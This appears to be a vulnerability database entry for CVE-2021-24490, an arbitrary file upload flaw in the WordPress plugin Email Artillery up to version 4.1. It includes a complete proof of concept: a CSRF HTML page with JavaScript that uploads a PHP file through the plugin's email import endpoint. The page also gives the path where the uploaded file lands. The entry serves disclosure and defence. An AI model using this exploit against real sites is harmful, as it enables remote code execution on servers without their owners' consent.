Lucene search
+L

Email Artillery <= 4.1 - Arbitrary File Upload

🗓️ 16 Aug 2021 00:00:00Reported by Jin HuangType 
wpexploit
 wpexploit
👁 594 Views

Arbitrary File Upload via Email Artillery 4.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2021-24490
13 Sep 202118:15
attackerkb
circl
Circl
CVE-2021-24490
13 Sep 202122:15
circl
cnnvd
CNNVD
WordPress 插件代码问题漏洞
13 Sep 202100:00
cnnvd
cve
CVE
CVE-2021-24490
13 Sep 202117:56
cve
cvelist
Cvelist
CVE-2021-24490 Email Artillery <= 4.1 - Arbitrary File Upload
13 Sep 202117:56
cvelist
euvd
EUVD
EUVD-2021-11402
7 Oct 202500:30
euvd
nvd
NVD
CVE-2021-24490
13 Sep 202118:15
nvd
osv
OSV
CVE-2021-24490
13 Sep 202118:15
osv
prion
Prion
Cross site request forgery (csrf)
13 Sep 202118:15
prion
redhatcve
RedhatCVE
CVE-2021-24490
22 May 202519:22
redhatcve
Rows per page
Login in as admin and Import a PHP file via the Import Emails feature (/wp-admin/admin.php?page=etmbu-import-email-manual)

Via CSRF:

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/example.com\/wp-admin\/admin.php?page=etmbu-import-email-manual", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------362587018939873212313468279541");
        xhr.withCredentials = true;
        var body = "-----------------------------362587018939873212313468279541\r\n" + 
          "Content-Disposition: form-data; name=\"txt_file\"; filename=\"phpinfo.php\"\r\n" + 
          "Content-Type: text/php\r\n" + 
          "\r\n" + 
          "\x3c?php phpinfo() ?\x3e\n" + 
          "\r\n" + 
          "-----------------------------362587018939873212313468279541--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

https://example.com/wp-content/uploads/ea_uploads/28-06-2021-11-40-phpinfo.php (date is in the format date('d-m-Y-H-i-'))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation